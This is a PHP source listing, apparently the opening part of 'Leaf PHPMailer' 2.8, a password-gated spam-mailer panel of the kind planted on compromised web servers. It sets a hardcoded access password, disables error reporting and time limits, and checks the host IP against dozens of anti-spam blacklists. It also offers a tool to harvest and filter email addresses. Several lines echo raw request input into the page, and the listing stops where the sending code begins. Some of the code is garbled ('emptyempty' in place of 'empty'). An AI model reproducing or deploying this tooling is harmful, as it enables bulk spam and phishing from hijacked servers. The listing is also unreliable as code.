Kalender- <?php
-
-
-
-
-
- $password = "leaf";
-
-
-
- session_start();
- error_reporting(0);
- set_time_limit(0);
- ini_set("memory_limit",-1);
-
- $leaf['version']="2.8";
- $leaf['website']="leafmailer.pw";
-
-
- $sessioncode = md5(__FILE__);
- if(!emptyempty($password) and $_SESSION[$sessioncode] != $password){
- if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
- $_SESSION[$sessioncode] = $password;
- }
- else {
- print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
- exit;
- }
- }
-
- session_write_close();
-
-
- function leafClear($text,$email){
- $e = explode('@', $email);
- $emailuser=$e[0];
- $emaildomain=$e[1];
- $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
- $text = str_replace("[-email-]", $email, $text);
- $text = str_replace("[-emailuser-]", $emailuser, $text);
- $text = str_replace("[-emaildomain-]", $emaildomain, $text);
- $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
- $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
- $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
- $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
- return $text;
- }
- function leafTrim($string){
- $string=urldecode($string);
- return stripslashes(trim($string));
- }
- function randString($consonants) {
- $length=rand(12,25);
- $password = '';
- for ($i = 0; $i < $length; $i++) {
- $password .= $consonants[(rand() % strlen($consonants))];
- }
- return $password;
- }
- function leafMailCheck($email){
- if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
- else return false;
- }
- # Bulit-in BlackList Checker
- if(isset($_GET['check_ip'])){
- if (isset($_GET['host'])){
- $_GET['host']=explode(",", $_GET['host']);
- foreach ($_GET['host'] as $host) {
- if (checkdnsrr($_GET['check_ip'] . "." . $host . ".", "A")) $check= "<font color='red'> Listed</font>";
- else $check= "<font color='green'> Clean</font>";
- print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
- }
-
- exit;
- }
- $dnsbl_lookup = [
- "all.s5h.net",
- "b.barracudacentral.org",
- "bl.spamcop.net",
- "blacklist.woody.ch",
- "bogons.cymru.com",
- "cbl.abuseat.org",
- "cdl.anti-spam.org.cn",
- "combined.abuse.ch",
- "db.wpbl.info",
- "dnsbl-1.uceprotect.net",
- "dnsbl-2.uceprotect.net",
- "dnsbl-3.uceprotect.net",
- "dnsbl.anticaptcha.net",
- "dnsbl.dronebl.org",
- "dnsbl.inps.de",
- "dnsbl.sorbs.net",
- "drone.abuse.ch",
- "duinv.aupads.org",
- "dul.dnsbl.sorbs.net",
- "dyna.spamrats.com",
- "dynip.rothen.com",
- "http.dnsbl.sorbs.net",
- "ips.backscatterer.org",
- "ix.dnsbl.manitu.net",
- "korea.services.net",
- "misc.dnsbl.sorbs.net",
- "noptr.spamrats.com",
- "orvedb.aupads.org",
- "pbl.spamhaus.org",
- "proxy.bl.gweep.ca",
- "psbl.surriel.com",
- "relays.bl.gweep.ca",
- "relays.nether.net",
- "sbl.spamhaus.org",
- "short.rbl.jp",
- "singular.ttk.pte.hu",
- "smtp.dnsbl.sorbs.net",
- "socks.dnsbl.sorbs.net",
- "spam.abuse.ch",
- "spam.dnsbl.anonmails.de",
- "spam.dnsbl.sorbs.net",
- "spam.spamrats.com",
- "spambot.bls.digibase.ca",
- "spamrbl.imp.ch",
- "spamsources.fabel.dk",
- "ubl.lashback.com",
- "ubl.unsubscore.com",
- "virus.rbl.jp",
- "web.dnsbl.sorbs.net",
- "wormrbl.imp.ch",
- "xbl.spamhaus.org",
- "z.mailspike.net",
- "zen.spamhaus.org",
- "zombie.dnsbl.sorbs.net",
- ];
- $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
- $dnsT = count($dnsbl_lookup);
- leafheader();
- print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
- Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b> anti-spam databases:<br>";
- $dnsN="";
- print '<table >';
- for ($i=0; $i < $dnsT; $i=$i+10) {
- $host="";
- $hosts="";
- for($j=$i; $j<$i+10;$j++){
- $host=$dnsbl_lookup[$j];
- if(!emptyempty($host)){
- print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
- $hosts .="$host,";
- }
- }
- $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
- }
-
- print '</table></div>';
- print $dnsN;
- exit;
- }
- if(isset($_GET['emailfilter'])){
-
- if(!emptyempty($_FILES['fileToUpload']['tmp_name'])){
- $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]);
- }
- $_POST['emailList']=strtolower($_POST['emailList']);
- if($_GET['emailfilter']=="ifram"){
- if ($_POST['resulttype'] == "download"){
- header("Content-Description: File Transfer");
- header("Content-Type: application/octet-stream");
- header("Content-Disposition: attachment; filename=emails".time().".txt");
- }
- else {
- header("Content-Type: text/plain");
- }
- if($_POST['submit']=="extract"){
- $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+.[A-Za-z]{2,4}/';
- preg_match_all($pattern, $_POST['emailList'], $matches);
- foreach ($matches[0] as $email) {
- print $email."
";
- }
- }
- elseif ($_POST['submit']=="filter") {
- $emails=explode("
", $_POST['emailList']);
- $keywords=explode("
", strtolower($_POST['keywords']));
- foreach ($emails as $email) {
- foreach ($keywords as $keyword ) {
- if(strstr($email, $keyword) ){
- print $email."
";
- break;
- }
-
- }
- }
-
- }
- exit;
- }
- leafheader();
- print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
- print '
- <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=''>
- <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload">
- or
-
- <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
- <div class="col-lg-12">
- <div class="radio">
- <label>
- <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
- Show Result in this page
- </label>
- </div>
- <div class="radio">
- <label>
- <input type="radio" name="resulttype" id="resulttype" value="download">
- Download Result (for big numbers)
- </label>
- </div>
- </div>
- <legend><h4>Extract Email</h4></legend>
- Detecting every email (100%) and order them line by line <br><br>
- <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
- <legend><h4>Filter Emails</h4></legend>
- <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
- hotmail.com
- yahoo.com
- .co.uk</textarea><br>
-
- <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
- </form>
- <label >Result </label>
- <iframe style="border:none;width:100%;" name="my-iframe" src="?emailfilter=ifram" ></iframe>
- ';
- exit;
-
- }
- $html="checked";
- $utf8="selected";
- $bit8="selected";
-
- if($_POST['action']=="send" or $_POST['action']=="score"){
-
|
|